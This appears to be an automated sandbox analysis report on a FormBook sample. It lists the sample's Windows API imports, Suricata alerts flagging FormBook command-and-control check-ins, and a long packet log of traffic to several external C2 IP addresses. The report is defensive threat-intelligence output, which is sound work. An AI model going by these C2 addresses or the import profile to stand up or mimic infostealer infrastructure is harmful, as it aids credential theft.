LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:11:07.355810+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64515	43.205.198.29	80	TCP
2025-01-10T20:11:09.893739+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64516	43.205.198.29	80	TCP
2025-01-10T20:11:12.451878+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64517	43.205.198.29	80	TCP
2025-01-10T20:11:20.710172+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64519	188.114.97.3	80	TCP
2025-01-10T20:11:23.244704+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64520	188.114.97.3	80	TCP
2025-01-10T20:11:25.845738+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64521	188.114.97.3	80	TCP
2025-01-10T20:11:34.312650+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64523	194.245.148.189	80	TCP
2025-01-10T20:11:37.285209+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64524	194.245.148.189	80	TCP
2025-01-10T20:11:39.490086+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64525	194.245.148.189	80	TCP
2025-01-10T20:11:47.779010+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64527	63.250.43.134	80	TCP
2025-01-10T20:11:51.267833+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	64528	63.250.43.134	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:10:15.523329973 CET	64437	53	192.168.2.9	162.159.36.2
Jan 10, 2025 20:10:15.528196096 CET	53	64437	162.159.36.2	192.168.2.9
Jan 10, 2025 20:10:15.528311968 CET	64437	53	192.168.2.9	162.159.36.2
Jan 10, 2025 20:10:15.533243895 CET	53	64437	162.159.36.2	192.168.2.9
Jan 10, 2025 20:10:16.082076073 CET	64437	53	192.168.2.9	162.159.36.2
Jan 10, 2025 20:10:16.087086916 CET	53	64437	162.159.36.2	192.168.2.9
Jan 10, 2025 20:10:16.087138891 CET	64437	53	192.168.2.9	162.159.36.2
Jan 10, 2025 20:10:50.510442019 CET	64514	80	192.168.2.9	38.47.233.21
Jan 10, 2025 20:10:50.515431881 CET	80	64514	38.47.233.21	192.168.2.9
Jan 10, 2025 20:10:50.515505075 CET	64514	80	192.168.2.9	38.47.233.21
Jan 10, 2025 20:10:50.526536942 CET	64514	80	192.168.2.9	38.47.233.21
Jan 10, 2025 20:10:50.531364918 CET	80	64514	38.47.233.21	192.168.2.9
Jan 10, 2025 20:10:51.433765888 CET	80	64514	38.47.233.21	192.168.2.9
Jan 10, 2025 20:10:51.433782101 CET	80	64514	38.47.233.21	192.168.2.9
Jan 10, 2025 20:10:51.433995008 CET	64514	80	192.168.2.9	38.47.233.21
Jan 10, 2025 20:10:51.437283993 CET	64514	80	192.168.2.9	38.47.233.21
Jan 10, 2025 20:10:51.442348003 CET	80	64514	38.47.233.21	192.168.2.9
Jan 10, 2025 20:11:06.489751101 CET	64515	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:06.494607925 CET	80	64515	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:06.495142937 CET	64515	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:06.509505987 CET	64515	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:06.514329910 CET	80	64515	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:07.355613947 CET	80	64515	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:07.355679035 CET	80	64515	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:07.355809927 CET	64515	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:08.015996933 CET	64515	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:09.034538031 CET	64516	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:09.039479971 CET	80	64516	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:09.039618015 CET	64516	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:09.054383039 CET	64516	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:09.060239077 CET	80	64516	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:09.893371105 CET	80	64516	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:09.893390894 CET	80	64516	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:09.893738985 CET	64516	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:10.562788963 CET	64516	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:11.581572056 CET	64517	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:11.586570024 CET	80	64517	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:11.586669922 CET	64517	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:11.602024078 CET	64517	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:11.606944084 CET	80	64517	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:11.607081890 CET	80	64517	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:12.451793909 CET	80	64517	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:12.451817036 CET	80	64517	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:12.451878071 CET	64517	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:13.109560013 CET	64517	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:14.128230095 CET	64518	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:14.133133888 CET	80	64518	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:14.133205891 CET	64518	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:14.143189907 CET	64518	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:14.148497105 CET	80	64518	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:14.981031895 CET	80	64518	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:14.981091022 CET	80	64518	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:14.981836081 CET	64518	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:14.984191895 CET	64518	80	192.168.2.9	43.205.198.29
Jan 10, 2025 20:11:14.988977909 CET	80	64518	43.205.198.29	192.168.2.9
Jan 10, 2025 20:11:20.009180069 CET	64519	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:20.014041901 CET	80	64519	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:20.014106989 CET	64519	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:20.030328989 CET	64519	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:20.035232067 CET	80	64519	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:20.709923029 CET	80	64519	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:20.709943056 CET	80	64519	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:20.710171938 CET	64519	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:20.710592985 CET	80	64519	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:20.710665941 CET	64519	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:21.531579971 CET	64519	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:22.550422907 CET	64520	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:22.556242943 CET	80	64520	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:22.556509018 CET	64520	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:22.572251081 CET	64520	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:22.578902960 CET	80	64520	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:23.244344950 CET	80	64520	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:23.244364977 CET	80	64520	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:23.244571924 CET	80	64520	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:23.244704008 CET	64520	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:23.244704008 CET	64520	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:24.078552008 CET	64520	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:25.097279072 CET	64521	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:25.102236986 CET	80	64521	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:25.104885101 CET	64521	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:25.120523930 CET	64521	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:25.125488997 CET	80	64521	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:25.125533104 CET	80	64521	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:25.845640898 CET	80	64521	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:25.845660925 CET	80	64521	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:25.845737934 CET	64521	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:25.845868111 CET	80	64521	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:25.845963001 CET	80	64521	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:25.846014023 CET	64521	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:26.631020069 CET	64521	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:27.647212982 CET	64522	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:27.652025938 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:27.652157068 CET	64522	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:27.662421942 CET	64522	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:27.667265892 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345433950 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345463037 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345477104 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345489025 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345503092 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345513105 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345520973 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345525980 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345534086 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345540047 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.345549107 CET	64522	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:28.345649958 CET	64522	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:28.346322060 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:28.346374989 CET	64522	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:28.351155996 CET	64522	80	192.168.2.9	188.114.97.3
Jan 10, 2025 20:11:28.355979919 CET	80	64522	188.114.97.3	192.168.2.9
Jan 10, 2025 20:11:33.384670019 CET	64523	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:33.389552116 CET	80	64523	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:33.389633894 CET	64523	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:33.404979944 CET	64523	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:33.410244942 CET	80	64523	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:34.312269926 CET	80	64523	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:34.312556982 CET	80	64523	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:34.312609911 CET	80	64523	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:34.312649965 CET	64523	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:34.312753916 CET	64523	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:34.908483982 CET	64523	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:35.925354958 CET	64524	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:35.930898905 CET	80	64524	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:35.930974960 CET	64524	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:35.947566032 CET	64524	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:35.952464104 CET	80	64524	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:37.284096003 CET	80	64524	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:37.285154104 CET	80	64524	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:37.285208941 CET	64524	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:37.285223961 CET	80	64524	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:37.285265923 CET	64524	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:37.453602076 CET	64524	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:38.472079992 CET	64525	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:38.476975918 CET	80	64525	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:38.477081060 CET	64525	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:38.492543936 CET	64525	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:38.497406006 CET	80	64525	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:38.497597933 CET	80	64525	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:39.489900112 CET	80	64525	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:39.490011930 CET	80	64525	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:39.490086079 CET	64525	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:40.000358105 CET	64525	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:41.018927097 CET	64526	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:41.023783922 CET	80	64526	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:41.023895025 CET	64526	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:41.032916069 CET	64526	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:41.037751913 CET	80	64526	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:41.789422035 CET	80	64526	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:41.789444923 CET	80	64526	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:41.789494991 CET	80	64526	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:41.789681911 CET	64526	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:41.789681911 CET	64526	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:41.792329073 CET	64526	80	192.168.2.9	194.245.148.189
Jan 10, 2025 20:11:41.797142029 CET	80	64526	194.245.148.189	192.168.2.9
Jan 10, 2025 20:11:47.155523062 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.160758972 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.160828114 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.197618961 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.202585936 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.778930902 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.778949022 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.778959990 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.778971910 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.778985977 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.778996944 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.779004097 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.779010057 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.779016972 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.779028893 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.779042959 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.779056072 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.779089928 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.779089928 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.783998013 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.784015894 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.784037113 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.784076929 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.868609905 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.868627071 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.868639946 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.868653059 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.868710995 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.868772030 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.868942022 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.868952990 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.868966103 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.868979931 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.868989944 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.869029045 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.869535923 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.869575977 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.869596958 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.869607925 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.869618893 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.869642019 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.870501995 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.870515108 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.870527029 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.870552063 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.870568991 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.878739119 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.878757954 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.878772020 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.878810883 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.882050991 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.882064104 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.882106066 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.882258892 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.882289886 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.882328033 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.891026974 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.891050100 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.891062975 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.891087055 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.891122103 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.893954039 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.893982887 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.893994093 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.894046068 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.937783957 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.960649014 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960663080 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960678101 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960742950 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.960755110 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960772038 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960783958 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960792065 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.960794926 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960808039 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960819960 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960822105 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.960832119 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960845947 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960854053 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.960860014 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.960872889 CET	64527	80	192.168.2.9	63.250.43.134
